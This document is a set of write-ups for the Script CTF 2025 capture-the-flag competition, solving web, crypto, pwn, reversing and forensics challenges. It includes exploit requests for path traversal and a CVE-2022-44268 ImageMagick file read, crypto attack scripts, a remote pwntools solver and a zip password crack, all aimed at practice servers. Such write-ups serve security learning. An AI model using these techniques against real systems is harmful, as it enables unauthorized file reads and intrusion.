Script CTF 2025 - Writeups

Table of Contents

Web

Renderer (100)

Introducing Renderer! A free-to-use app to render your images!

The challenge consists of a flask application. Three paths were defined:

Upload:

@app.route("/", methods=["GET", "POST"])
def upload():
    if request.method == "POST":
        if "file" not in request.files:
            return redirect(request.url)
        file = request.files["file"]
        if file.filename == "":
            return redirect(request.url)
        if file and allowed(file.filename):
            filename = file.filename
            hash = sha256(os.urandom(32)).hexdigest()
            filepath = f'./static/uploads/{hash}.{filename.split(".")[1]}'
            file.save(filepath)
            return redirect(f'/render/{hash}.{filename.split(".")[1]}')
    return render_template("upload.html")

Uploaded file extension is check using allowed. There isn’t much useful in here.

Render:

@app.route("/render/<path:filename>")
def render(filename):
    return render_template("display.html", filename=filename)

This path is used to render the uploaded file. We can pass the filename as a parameter. In the display.html, it will create an iframe with src as '/static/uploads/' + filename.

<iframe src="{{'/static/uploads/' + filename }}" alt="Uploaded Image"></iframe>

Since we control the filename we can read all the files inside /static/uploads/.

Developer:

@app.route("/developer")
def developer():
    cookie = request.cookies.get("developer_secret_cookie")
    correct = open("./static/uploads/secrets/secret_cookie.txt").read()
    if correct == "":
        c = open("./static/uploads/secrets/secret_cookie.txt", "w")
        c.write(sha256(os.urandom(16)).hexdigest())
        c.close()
    correct = open("./static/uploads/secrets/secret_cookie.txt").read()
    if cookie == correct:
        c = open("./static/uploads/secrets/secret_cookie.txt", "w")
        c.write(sha256(os.urandom(16)).hexdigest())
        c.close()
        return (
            f"Welcome! There is currently 1 unread message: {open('flag.txt').read()}"
        )
    else:
        return "You are not a developer!"

There’s a secret value stored inside static/uploads/secrets/secret_cookie.txt. To read the flag we have to set the value inside the secret_cookie.txt as our cookie.

To exploit first send a request to /render/secrets/secret_cookie.txt to read the cookie value

now using this cookie, send another request to /developer

curl -ik -H "Cookie: developer_secret_cookie=2500e50ea58e899f33ce3116acbb8d829e7ec5ac12803ede4b541892c8a525e4" http://127.0.0.1:1337/developer
HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.10.12
Content-Type: text/html; charset=utf-8
Content-Length: 66
Connection: close

Welcome! There is currently 1 unread message: scriptCTF{fakeflag}

The council’s top priority is to protect the flag, no matter the cost. Oh hey look, it’s a photo gallery. What could go wrong?

This is also another flask application. The challenge files had ImageMagick binaries

ImageMagick, invoked from the command line as magick, is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images

It uses ImageMagick version 7. After a bit of searching I found that this version is vulnerable to CVE-2022-44268 - Arbitrary File Read. If you are interested, you can read more about this bug and its root cause analysis here. If we can somehow control the file that is passed on to the convert program then, we can exploit this vulnerability and read the flag.

There’s only one endpoint that uses the convert binary:

@app.route("/logo-sm.png")
def logo_small():
    # A smaller images looks better on mobile so I just resize it and serve that
    logo_sm_path = os.path.join(app.config["UPLOAD_FOLDER"], "logo-sm.png")
    if not os.path.exists(logo_sm_path):
        os.system(
            "magick/bin/convert logo.png -resize 10% "
            + os.path.join(app.config["UPLOAD_FOLDER"], "logo-sm.png")
        )

    return send_from_directory(app.config["UPLOAD_FOLDER"], "logo-sm.png")

It resizes logo.png and generates logo-sm.png. This is executed only if the logo-sm.png file doesn’t already exist in the server. Now we need to check for two things:

  1. Find a way to replace the logo.png file with a malicious image
  2. Delete the logo-sm.png if it already exists in the uploads directory

This is the code responsible for file upload (I have snipped out some code):

@app.route("/upload", methods=["POST"])
def upload_file():
	...
    file = request.files["file"]

    if file.filename == "":
        return (
            jsonify(
                ...
            ),
            400,
        )

    # Prevent uploading dangerous files
    if "." not in file.filename:
        wipe_upload_directory()
        return (
            jsonify(
                ...
            ),
            403,
        )

    if is_blocked_extension(file.filename):
        wipe_upload_directory()
        return (
            jsonify(
               ...
            ),
            403,
        )

    if file and allowed_file(file.filename):
        original_filename = file.filename
        file_path = os.path.join(app.config["UPLOAD_FOLDER"], original_filename)
        file.save(file_path)
        file_size = get_file_size_mb(file_path)

        return jsonify(
            {
                "success": True,
                ...
            }
        )
    else:
        return (
            jsonify(
            ...
            ),
            400,
        )

The above code checks:

  1. If the filename is empty
  2. If . is not present in the filename (that is filename without extension)
  3. File extension is part of the BLOCKED_EXTENSIONS list
  4. If file is allowed using allowed_file() function which again does some checks on the filename and file extension
ALLOWED_EXTENSIONS = {"png", "jpg", "jpeg", "gif", "bmp", "webp"}
BLOCKED_EXTENSIONS = { "exe", "jar", "py", "pyc", "php", "js", "sh", "bat", "cmd", "com", "scr", "vbs", "pl", "rb", "go", "rs", "c", "cpp", "h" }

If all the checks are passed the original_filename is concatenated with the UPLOAD_FOLDER, and the file is saved in that location. However, filenames containing ../ are allowed, which means we can save a file outside the uploads directory. (Note that the logo.png is located outside the uploads directory.) And another important thing to note here is the wipe_upload_directory() function which will delete all the files inside the uploads directory. This is called if the filename doesn’t contain a . character or file extension is part of the BLOCKED_EXTENSIONS list. We can use this “functionality” to delete the existing logo-sm.png file.

Full attack plan:

  • Send a POST request to /uploads with a filename containing one of the blocked extensions, which will delete the existing logo.
curl -XPOST 'http://play.scriptsorcerers.xyz:10152/upload' -ik -F file=@test.php
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.1.3 Python/3.10.18
Content-Type: application/json
Content-Length: 211
Connection: close

{
  "message": "\ud83d\udea8 ATTACK DETECTED! Malicious executable detected on the union network. All gallery files have been wiped for security. The Sorcerer's Council has been notified.",
  "success": false
}
  • Create a new logo.png using this POC script for the ImageMagick exploit.
cargo run "flag.txt"
  • Send another POST request to /uploads using the above generated image (rename it to logo.png)
curl -XPOST 'http://play.scriptsorcerers.xyz:10152/upload' -ik -F "file=@logo.png;filename=../logo.png"
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.10.18
Content-Type: application/json
Content-Length: 154
Connection: close

{
  "message": "\ud83c\udf89 Spell cast successfully! \"../logo.png\" has been added to the gallery (0.0 MB)",
  "redirect": "/gallery",
  "success": true
}
  • Now download logo-sm.png from the server and hex decode its content to read the flag
curl -s 'http://play.scriptsorcerers.xyz:10152/logo-sm.png' -o - | xxd -r -p
9scriptCTF{t00_much_m46ic_66d090e352fa}

Crypto

Secure-Server (100)

John Doe uses this secure server where plaintext is never shared. Our Forensics Analyst was able to capture this traffic and the source code for the server. Can you recover John Doe’s secrets?

This challenge’s attachment had a pcap file and a python script.

server.py:

import os
from pwn import xor

print("With the Secure Server, sharing secrets is safer than ever!")
enc = bytes.fromhex(input("Enter the secret, XORed by your key (in hex): ").strip())
key = os.urandom(32)
enc2 = xor(enc,key).hex()
print(f"Double encrypted secret (in hex): {enc2}")
dec = bytes.fromhex(input("XOR the above with your key again (in hex): ").strip())
secret = xor(dec,key)
print("Secret received!")

It tries to implement Diffie-Hellman Key Exchange. But instead of using a secure one way operation like modular exponentiation, it simply uses xor. Since xor is easy to reverse we can determine the actual secret.

Ka       = key of user a
Kb       = key of user b
secret   = flag # probably
secret_B = secret ^ Kb
dec      = secret_B ^ kA

# Let's try to solve it
pt       -> plaintext
secret   =  Ka ^ pt

secret_B =  secret  ^ kB
         =  Ka ^ pt ^ kB

dec      =    secret_B   ^ kA
		 =  Ka ^ pt ^ kB ^ kA
         =  pt ^ kB

From the network packets we can retrieve the values for secret, secret_B, and Dec

# To find pt we have to xor these 3 vaues

pt = secret  ^   secret_B    ^   Dec
   = kA ^ pt ^ kA ^ pt ^ kB  ^ pt ^ kB
   = pt ^ pt ^ pt
   = pt 
from pwn import xor

secret = bytes.fromhex(    "151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03")
secret_B = bytes.fromhex(    "e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70")
dec = bytes.fromhex("87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e")
print(xor(secret, secret_B, dec).decode())

Secure-Server 2 (432)

This time, the server is even more secure, but did it actually receive the secret? Simple brute-force won’t work!

This is similar to secure server 1, but now instead of XOR it double encrypts the secret with AES. This is vulnerable to meet-in-the-middle attack.

johndoes.py:

from Crypto.Cipher import AES

k1 = b"AA"  # Obviously not the actual key
k2 = b"AA"  # Obviously not the actual key
message = b"scriptCTF{testtesttesttesttest!_"  # Obviously not the actual flag
keys = [k1, k2]
final_keys = []
for key in keys:
    assert len(key) == 2  # 2 byte key into binary
    final_keys.append(bin(key[0])[2:].zfill(8) + bin(key[1])[2:].zfill(8))


cipher = AES.new(final_keys[0].encode(), mode=AES.MODE_ECB)
cipher2 = AES.new(final_keys[1].encode(), mode=AES.MODE_ECB)
enc2 = cipher2.encrypt(cipher.encrypt(message)).hex()
print(enc2)

to_dec = bytes.fromhex(input("Dec: ").strip())
secret = cipher.decrypt(cipher2.decrypt(to_dec))
print(secret.hex())

This will encrypt the message twice, first using k1 and then using k2.

server.py:

import os
from Crypto.Cipher import AES

print(
    "With the Secure Server 2, sharing secrets is safer than ever! We now support double encryption with AES!"
)
enc = bytes.fromhex(
    input("Enter the secret, encrypted twice with your keys (in hex): ").strip()
)
# Our proprietary key generation method, used by the server and John Doe himself!
k3 = b"BB"  # Obviously not the actual key
k4 = b"B}"  # Obviously not the actual key
# flag = secret_message + k1 + k2 + k3 + k4 (where each key is 2 bytes)
# In this case: scriptCTF{testtesttesttesttest!_AAAABBB}
keys = [k3, k4]
final_keys = []
for key in keys:
    assert len(key) == 2  # 2 byte key into binary
    final_keys.append(bin(key[0])[2:].zfill(8) + bin(key[1])[2:].zfill(8))

cipher = AES.new(final_keys[0].encode(), mode=AES.MODE_ECB)
cipher2 = AES.new(final_keys[1].encode(), mode=AES.MODE_ECB)
enc2 = cipher2.encrypt(cipher.encrypt(enc)).hex()
print(f"Quadriple encrypted secret (in hex): {enc2}")
dec = bytes.fromhex(input("Decrypt the above with your keys again (in hex): ").strip())
secret = cipher.decrypt(cipher2.decrypt(dec))
print("Secret received!")

This will encrypt the double encrypted message twice again using k3 and k4. Flag consists of message and all four keys. We have output of the server.py from the network capture:

With the Secure Server 2, sharing secrets is safer than ever! We now support double encryption with AES!
Enter the secret, encrypted twice with your keys (in hex): 19574ac010cc9866e733adc616065e6c019d85dd0b46e5c2190c31209fc57727
Quadriple encrypted secret (in hex): 0239bcea627d0ff4285a9e114b660ec0e97f65042a8ad209c35a091319541837
Decrypt the above with your keys again (in hex): 4b3d1613610143db984be05ef6f37b31790ad420d28e562ad105c7992882ff34
Secret received!

The three values can be written like this:

e_k1 -> encryption using k1
e_k2 -> encryption using k2
e_k3 -> encryption using k3
e_k4 -> encryption using k4
d_k1 -> decryption using k1
d_k2 -> decryption using k2

enc   = e_k2(e_k1(msg))   = 19574ac010cc9866e733adc616065e6c019d85dd0b46e5c2190c31209fc57727
q_enc = e_k4(e_k3(enc))   = 0239bcea627d0ff4285a9e114b660ec0e97f65042a8ad209c35a091319541837
dec   = d_k1(d_k2(q_enc)) = 4b3d1613610143db984be05ef6f37b31790ad420d28e562ad105c7992882ff34

From this we can arrive at:

e_k1(dec) == d_k2(q_enc) 

To find k1 and k2 we will first create a lookup tables of values produced from e_k1(dec) with all possible k1 values. Then we will run d_k2(q_enc) with all possible k2 values and check if the produced value is present in the table. If it does then we can confirm the k1 and k2 values are correct.

Similarly we can find k3 and k4 by using:

d_k4(q_enc) == e_k3(enc)

Exploit:

#!/usr/bin/env python3

from Crypto.Cipher import AES
from collections import defaultdict
import sys


ENC_HEX = "19574ac010cc9866e733adc616065e6c019d85dd0b46e5c2190c31209fc57727"
QUAD_HEX = "0239bcea627d0ff4285a9e114b660ec0e97f65042a8ad209c35a091319541837"
DEC_HEX = "4b3d1613610143db984be05ef6f37b31790ad420d28e562ad105c7992882ff34"

enc = bytes.fromhex(ENC_HEX)
q_enc = bytes.fromhex(QUAD_HEX)
dec = bytes.fromhex(DEC_HEX)


def make_aes_key_from_2bytes(key: bytes) -> bytes:
    return (bin(key[0])[2:].zfill(8) + bin(key[1])[2:].zfill(8)).encode()


def mitm_find_k1_k2(quad_bytes, dec_bytes):
    table = dict()
    for k1 in range(0, 1 << 16):
        k1b = bytes([(k1 >> 8) & 0xFF, k1 & 0xFF])
        key = make_aes_key_from_2bytes(k1b)
        cipher = AES.new(key, AES.MODE_ECB)
        d1 = cipher.encrypt(dec_bytes)
        table[d1] = k1b

    solutions = []
    for k2 in range(0, 1 << 16):
        k2b = bytes([(k2 >> 8) & 0xFF, k2 & 0xFF])
        key2 = make_aes_key_from_2bytes(k2b)
        cipher2 = AES.new(key2, AES.MODE_ECB)
        e2 = cipher2.decrypt(quad_bytes)
        if e2 in table:
            solutions.append((table[e2], k2b))
    return solutions


def mitm_find_k3_k4(enc_bytes, quad_bytes, k4_last_byte=None):
    table = dict()
    for k3 in range(0, 1 << 16):
        k3b = bytes([(k3 >> 8) & 0xFF, k3 & 0xFF])
        key3 = make_aes_key_from_2bytes(k3b)
        cipher = AES.new(key3, AES.MODE_ECB)
        x = cipher.encrypt(enc_bytes)
        table[x] = k3b

    solutions = []
    for k4 in range(0, 1 << 16):
        k4b = bytes([(k4 >> 8) & 0xFF, k4 & 0xFF])
        if k4_last_byte is not None:
            if k4b[1] != k4_last_byte:
                continue
        key4 = make_aes_key_from_2bytes(k4b)
        cipher2 = AES.new(key4, AES.MODE_ECB)
        y = cipher2.decrypt(quad_bytes)
        if y in table:
            solutions.append((table[y], k4b))
    return solutions


def pretty_bytes(b):
    try:
        return b.decode()
    except:
        return b.hex()


def main():
    print("[*] Finding k1,k2")
    sol12 = mitm_find_k1_k2(q_enc, dec)
    if not sol12:
        print("[-] No (k1,k2) found.")
        return
    for idx, (k1, k2) in enumerate(sol12):
        print(f"k1={k1} k2={k2}")

    print("[*] Finding k3,k4")
    sol34 = mitm_find_k3_k4(enc, q_enc, k4_last_byte=ord("}"))
    for idx, (k3, k4) in enumerate(sol34):
        print(f"k3={k3} k4={k4}")

    # combine keys and produce flag
    for (k1, k2) in sol12:
        key1 = make_aes_key_from_2bytes(k1)
        key2 = make_aes_key_from_2bytes(k2)
        aes1 = AES.new(key1, AES.MODE_ECB)
        aes2 = AES.new(key2, AES.MODE_ECB)
        try:
            plaintext = aes1.decrypt(aes2.decrypt(enc))
        except Exception as e:
            plaintext = None
        if plaintext:
            print("message (hex):", plaintext.hex())
            print("message (ascii):", pretty_bytes(plaintext))
        else:
            print("Couldn't decrypt enc with these keys.")

        for (k3, k4) in sol34:
            flag = (plaintext or b"") + k1 + k2 + k3 + k4
            print(f"assembled flag: {flag}")
            # also print ascii if printable
            try:
                print("ascii:", flag.decode())
            except:
                print("ascii: (non-printable bytes present)")

if __name__ == "__main__":
    main()

RSA-1 (100)

Yú Tóngyī send a message to 3 peoples with unique modulus. But he left it vulnerable. Figure out :)

We have a small e value (3) and several ciphertexts, this is vulnerable to Hastad’s Broadcast attack

exploit.py :

from math import gcd

n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587
c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965

n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909
c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284

n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399
c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630

e = 3


def invmod(a, m):
    t, new_t = 0, 1
    r, new_r = m, a % m
    while new_r:
        q = r // new_r
        t, new_t = new_t, t - q * new_t
        r, new_r = new_r, r - q * new_r
    if r != 1:
        raise ValueError("non-invertible")
    return t % m


# CRT to get X = m^3
ns = [n1, n2, n3]
cs = [c1, c2, c3]
N = n1 * n2 * n3
Ms = [N // n for n in ns]
inv = [invmod(Ms[i], ns[i]) for i in range(3)]
X = sum(cs[i] * Ms[i] * inv[i] for i in range(3)) % N

# Integer cube root (no floats)
def iroot3(n):
    lo, hi = 0, 1
    while hi**3 <= n:
        hi <<= 1
    while lo < hi:
        mid = (lo + hi) // 2
        if mid**3 < n:
            lo = mid + 1
        else:
            hi = mid
    return lo if lo**3 == n else lo - 1


m = iroot3(X)

# Decode to bytes and strip PKCS#7 padding if present
h = hex(m)[2:]
h = ("0" + h) if len(h) % 2 else h
pt = bytes.fromhex(h)
pad = pt[-1]
if pad > 0 and all(b == pad for b in pt[-pad:]):
    pt = pt[:-pad]
print(pt.decode())

Mod (285)

Just a simple modulo challenge

In this challenge there’s a random secret value stored in the server. It prompts us for a number and prints out num % secret

#!/usr/local/bin/python3
import os

secret = int(os.urandom(32).hex(), 16)
print(secret)
print("Welcome to Mod!")
num = int(input("Provide a number: "))
print(num % secret)
guess = int(input("Guess: "))
if guess == secret:
    print(open("flag.txt").read())
else:
    print("Incorrect!")

Based on the output we have to guess the secret value. If we enter -1 it will give us the value secret - 1. We just have to add 1 to it and send it back to the server.

EaaS (484)

Email as a Service! Have fun…

This challenge can be solved for the fact that AES CBC encryption is vulnerable to malleability. That is if we can generate a ciphertext for a plaintext of out choice, then we can make changes to the ciphertext which can be decrypted into predictable plaintext. It will be like modifying the plaintext without actually having access to the secret key.

server.py :

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import random

email = ""
flag = open("flag.txt").read()
has_flag = False
sent = False
key = os.urandom(32)
iv = os.urandom(16)
encrypt = AES.new(key, AES.MODE_CBC, iv)
decrypt = AES.new(key, AES.MODE_CBC, iv)


def send_email(recipient):
    global has_flag
    if recipient.count(b",") > 0:
        recipients = recipient.split(b",")
    else:
        recipients = recipient
    for i in recipients:
        print(i)
        if i == email.encode():
            has_flag = True


for i in range(10):
    email += random.choice("abcdefghijklmnopqrstuvwxyz")
email += "@notscript.sorcerer"

print(f"Welcome to Email as a Service!\nYour Email is: {email}\n")
password = bytes.fromhex(input("Enter secure password (in hex): "))

assert not len(password) % 16
assert b"@script.sorcerer" not in password
assert email.encode() not in password

encrypted_pass = encrypt.encrypt(password)
print("Please use this key for future login: " + encrypted_pass.hex())

while True:
    choice = int(input("Enter your choice: "))
    print(f"[1] Check for new messages\n[2] Get flag")

    if choice == 1:
        if has_flag:
            print(f"New email!\nFrom: scriptsorcerers@script.sorcerer\nBody: {flag}")
        else:
            print("No new emails!")

    elif choice == 2:
        if sent:
            exit(0)
        sent = True
        user_email_encrypted = bytes.fromhex(
            input("Enter encrypted email (in hex): ").strip()
        )
        if len(user_email_encrypted) % 16 != 0:
            print("Email length needs to be a multiple of 16!")
            exit(0)
        if user_email[-16:] != b"@script.sorcerer":
            print("You are not part of ScriptSorcerers!")
            exit(0)

        send_email(user_email)
        print("Email sent!")

The server gives us a random email address every time we connect to it. Then it prompts us for a password in hex format. Server will encrypts our password using AES in CBC mode and outputs the ciphertext. After that we have 2 choices, read our emails [1] or send an email [2]. On entering choice 1 we can read the flag if the has_flag variable is set to true. To set the has_flag, we have to send emails to an email address ending with @script.sorcerer and to our own email printed at the start comma separated and encrypted using AES. If the server was able to successfully decrypt the email, and it is in the above mentioned format, then the has_flag will be set, and we can read the flag by entering choice 1. We already have access to the encrypt function (when entering the password) that will give us the ciphertext for a chosen plaintext, but we can’t just simply enter our desired plaintext because of these checks:

assert b"@script.sorcerer" not in password
assert email.encode() not in password

So we have to enter a slightly modified plaintext, then XOR a few selected bits and we will be able to modify the resulting plaintext value. It goes like this:

Our email in this case is: mbddtlvtww@notscript.sorcerer. Our goal is to produce a ciphertext for this plaintext: mbddtlvtww@notscript.sorcerer,b@script.sorcerer. Due to the assertions in the script, we have to modify at least 2 characters in this string for the program to accept it. I chose it to be the first and last character. The modified string will be: abddtlvtww@notscript.sorcerer,b@script.sorceres. AES is a block cipher and it encrypts and decrypts block by block. So if we were to modify a specific bit in a ciphertext block, then the previous block will produce gibberish when decrypting. For example if we want to modify the last bit of the above string, which is s, then we have to change the last bit in the previous block, which in this case will be b. But in that case the block containing b, since we are modifying it, will decrypt into gibberish. So we have to adjust the padding, in order for it to decrypt to our desired plaintext value. So after proper padding the final string will be like this: aaaaaaaaaaaaaaaaa,abddtlvtww@notscript.sorcerer,aaaaaaaaaaaaaaab@script.sorceres

We have to modify the 3rd bit of the first block and last bit of the second last block. We will send this to the server and modify bits at these position in the ciphertext.

We will now modify the received ciphertext:

enc = bytearray(bytes.fromhex("...ciphertext..."))
enc[-17] ^= ord(xor(b's', b'r'))
enc[2]   ^= ord(xor(b'a', b'm'))
enc.hex()

We will send the modified ciphertext back to the server and chose option 1 to read the flag:

Pwn

Index (345)

I literally hand you the flag, just exploit it already!

The program first prints out a menu:

It only shows 4 options, but there’s one more hidden option which we can see in the disassembled code:

It checks if the entered value is 0x537 or 1337 in base 10. If it is true then the code will read the contents of flag.txt and loads it into memory:

The read_data function will ask us for an index and it will read the value in memory for that given index and prints it out. I tried some brute forcing and we can print out the flag when we enter the index 8:

Reversing

Plastic Shield (350)

OPSec is useless unless you do it correctly.

There’s a hard coded AES encrypted ciphertext in the program. When you run it, it will ask us for a password and only select one character from the given password. It then derive an IV and key after running blake2b cipher on the selected password. If the password is right, then the program will decrypt the flag for us. Since it only take one character as the password, we can simply bruteforce it to decrypt the flag:

Misc

Div (100)

I love division

The challenge generates a random secret value and divides it with a value we enter. If the answer is 0, then it will print out the flag.

import os
import decimal
decimal.getcontext().prec = 50

secret = int(os.urandom(16).hex(),16)
num = input('Enter a number: ')

if 'e' in num.lower():
    print("Nice try...")
    exit(0)

if len(num) >= 10:
    print('Number too long...')
    exit(0)

fl_num = decimal.Decimal(num)
div = secret / fl_num

if div == 0:
    print(open('flag.txt').read().strip())
else:
    print('Try again...')

The script uses decimal.Decimal to convert the input into a number. Due to this, we can enter inf, which is used for representing infinity in python. When it tries to divide the secret value with inf it will produce 0 and we can read the flag

emoji (100)

Emojis everywhere! Is it a joke? Or something is hiding behind it.

The attachment contains some emojis.

Unicode character offset spans between 0x1F000 and 0x1FFFF, https://en.wikibooks.org/wiki/Unicode/Character_reference/1F000-1FFFF. We can try to subtract an offset of 0x1F000 from every character to find the character that represents each emoji.

s = "🁳🁣🁲🁩🁰🁴🁃🁔🁆🁻🀳🁭🀰🁪🀱🁟🀳🁮🁣🀰🁤🀱🁮🁧🁟🀱🁳🁟🁷🀳🀱🁲🁤🁟🀴🁮🁤🁟🁦🁵🁮🀡🀱🁥🀴🀶🁤🁽"
decoded = ''.join(chr(ord(ch) - 0x1F000) for ch in s)
print(decoded)

Subtract

The image size is 500x500. You might want to remove some stuff… Note: Some may call it guessy!

The attachment had a coordinates.txt file containing some coordinates in the format (x, y):

The challenge description says the image size is 500x500, so my initial intuition was to generate an image with all the points marked.

This doesn’t work because all the points in the 500x500 area is marked atleast once:

There are 250573 coordinates in the file, but there are only 250000 pixels in a 500x500 image. So the extra 573 pixels must be the one that represents the flag. We just need to generate a parity image from these coordinates:

from pathlib import Path
import re
from collections import Counter
from PIL import Image

coords_path = Path("coordinates.txt")
out_dir = Path("./")
text = coords_path.read_text(encoding="utf-8")

# parse coordinates
found = re.findall(r"\(\s*(\d+)\s*,\s*(\d+)\s*\)", text)
coords = [(int(x), int(y)) for x, y in found]
total = len(coords)

W, H = 500, 500

# frequency and top freq points
freq = Counter(coords)

# Create parity image (odd visits black, even visits white) - may reveal strokes
par_img = Image.new("RGB", (W, H), (255, 255, 255))
par_pix = par_img.load()
for (x, y), c in freq.items():
    if 0 <= x < W and 0 <= y < H:
        par_pix[x, y] = (0, 0, 0) if (c % 2 == 1) else (255, 255, 255)
par_path = out_dir / "parity.png"
par_img.save(par_path)
print("Saved parity image to", par_path)

And there we have our flag:

Enchant(233)

I was playing minecraft, and found this strange enchantment on the enchantment table. Can you figure out what it is? Wrap the flag in scriptCTF{}

The challenge had an encrypted text which was encrypted with letters found on the Enchantment table. The encrypted text :-

ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ

After some googling found out these are Standard Galatic Alphabet Decoded the text with the help of the chart and found the flag.

Div 2(324)

Some might call this a programming challenge…

The challenge provided a chall.py. Let’s examine that.

import secrets
import decimal
decimal.getcontext().prec = 50
secret =  secrets.randbelow(1 << 127) + (1 << 127) # Choose a 128 bit number
for _ in range(1000):
    print("[1] Provide a number\n[2] Guess the secret number")
    choice = int(input("Choice: "))
    if choice == 1:
        num = input('Enter a number: ')
        fl_num = decimal.Decimal(num)
        assert int(fl_num).bit_length() == secret.bit_length()
        div = secret / fl_num
        print(int(div))
    if choice == 2:
        guess = int(input("Enter secret number: "))
        if guess == secret:
            print(open('flag.txt').read().strip())
        else:
            print("Incorrect!")
        exit(0)

By looking at the code, vulnerability lies in the fact that it performs high-precision division and then reveals the truncated integer result, which leaks enough information to uncover the secret number bit by bit.

Math behind the exploit:-

Let the secret number be S. Let the input be N. The script calculates D = S/N with high precision and then gives you back I = int(D), which is equivalent to ⌊S/N⌋ (the floor of the division). This tells you that:

I ≤ NS​ < I+1

By multiplying by N , constrain the possible range of S:

I⋅N ≤ S < (I+1)⋅N

Since we know the initial range of S is [2127, 2128−1], we can use this repeatedly to shrink the possible range for S until it’s just one number

now the python script to exploit

from pwn import *

# --- Connection Setup ---
# Choose how to connect to the challenge
# To run the script locally:
# p = process(['python3', 'challenge.py']) # Make sure to name the challenge file 'challenge.py'

# To connect to a remote server (uncomment the line below and fill in the details):
p = remote('play.scriptsorcerers.xyz', 10354) # host and port

# --- The Attack Logic ---

# Initial range for the 128-bit secret number
lower_bound = 1 << 127
upper_bound = (1 << 128) - 1

log.info(f"Initial Range size: {(upper_bound - lower_bound).bit_length()} bits")

# Create a progress logger to see the convergence in real-time
prog = log.progress("Finding the secret")

while lower_bound < upper_bound:
    # Update the progress bar
    range_bits = (upper_bound - lower_bound).bit_length()
    prog.status(f"Range size: {range_bits} bits")

    # Choose the midpoint of the current range as our query number.
    # This satisfies the 128-bit length assert in the challenge.
    num_to_send = (lower_bound + upper_bound) // 2

    # Option 1: Provide a number
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Enter a number: ", str(num_to_send).encode())

    # Receive the quotient 'q'
    line = p.recvline()
    q = int(line.strip())

    # Calculate the new range based on the response
    # We know that: q * num <= secret < (q + 1) * num
    new_lower = q * num_to_send
    new_upper = (q + 1) * num_to_send - 1

    # Update our bounds by intersecting the old range with the new one
    lower_bound = max(lower_bound, new_lower)
    upper_bound = min(upper_bound, new_upper)

# The loop terminates when lower_bound == upper_bound
secret = lower_bound
prog.success(f"Secret found: {secret}")

# Option 2: Guess the secret number
log.info("Submitting the secret to get the flag...")
p.sendlineafter(b"Choice: ", b"2")
p.sendlineafter(b"Enter secret number: ", str(secret).encode())

# Print the flag
flag = p.recvall().decode().strip()
log.success(f"Flag: {flag}")

# Close the connection
p.close()

Bam! got the flag

OSINT

The Insider(107)

Someone from our support team has leaked some confidential information. Can you find out who?

As per the hint, looked into discord, while checking on Admin role profiles, found the flag on the NoobMaster’s discord profile.

Forensics

Just Some Avocado(302)

just an innocent little avocado!

Initially got an innocent looking avocado picture from the challenge. Used strings on the image, got nothing useful. Then used binwalk and got a juicy ZIP. Sadly it was encrypted. So tried to crack the password of the zip with rockyou and fzipcrack used the following command.

crackzip -u -D -p /usr/share/wordlists/rockyou.txt _avocado.jpg.extracted/188F7.zip

got the password

PASSWORD FOUND!!!!: pw == impassive3428

Used unzip to extract the contents and got 2 files justsomezip.zip and staticnoise.wav file. While listing inside the justsome.zip file saw a flag.txt file…yaayy…sadly it was also password protected. Without any delay put the staticnoise.wav into the sonic visualizer but got nothing at first, then added the spectrogram…woow there were some distorted text…noicee….

After applying the bins to log we got the text raised and more clear.

 d41v3ron

Got the password, unzipped the zip and got the flag

scriptCTF{1_l0ve_d41_v3r0n}